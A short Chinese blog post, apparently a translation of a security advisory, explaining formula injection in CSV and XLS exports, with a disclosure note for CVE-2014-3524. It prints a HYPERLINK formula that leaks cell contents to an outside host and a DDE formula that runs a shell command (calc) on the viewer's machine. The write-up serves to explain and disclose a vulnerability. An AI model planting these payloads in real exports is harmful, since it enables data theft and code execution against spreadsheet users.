@lonelinsky
2016-04-27T22:12:34.000000Z
字数 995
阅读 993
vulnerablities
现在很多web应用都提供了讲数据导出成电子表格(.csv, .xls)的功能,以方便用户在自己的电脑上利用excel之类的工具进行处理。这些导出的电子表格里面的数据有很多是来自不可信的第三方的,诸如调查问卷的回答者,交易的详情,或者用户提供的自己的住址等等。
这些来自不可信的第三方的信息都是都可能会带来风险,因为电子表格处理软件会将以=
打头的单元格内容解释成公式。例如,我们假设有一个电子商务网站允许管理员下载最近的交易列表,而攻击者购买了一个商品,并将自己的地址设置为:
=HYPERLINK("http://contextis.co.uk?leak="&A1&A2,"Error: please click for further information")
这样当管理员打开导出的表格时就会看到包含如下的一个单元格:
如果管理员点击这个单元格的话,那么A1和A2单元格的内容就会被提交到http://contextis.co.uk
,这就可能会导致敏感信息泄露。
就算表格里面没有敏感数据,恶意的公式仍然会带来风险,因为我们可是使用它们直接去攻击查看者的电脑。
Dynamic Data Exchange(DDE)是windows下的一种跨进程通信的协议,Microsoft Excel, LibreOffice和Apache OpenOffice都支持。在后两者里面,可以使用如下的公式进行调用:
=DDE(server; file; item; mode)
测试发现,通过指定一些参数和魔法数字,我们可以构造一个可以攻击查看者电脑的"link"。如下所示的代码就可以打开系统上的计算器程序,当然攻击者也可以通过修改代码将当前的电脑加入到僵尸网络或者做一些其他的事情。
=DDE("cmd";"/C calc";"__DdeLink_60_870516294")
当用户打开这样的一个表格,将会看到一个如下的看起来无害的警告框:
而且,如果这段代码是在一个csv文件里面,那么在显示警告框之前,这段代码已经被执行了。
这个漏洞(应该是说csv的那个)已经于2014.7.9被秘密告知到相关的厂商了,OpenOffice和LibreOffice也已经分别于8.27和7.10修复了此问题。OpenOffice将此漏洞声明为CVE-2014-3524而LibreOffice则未做声明。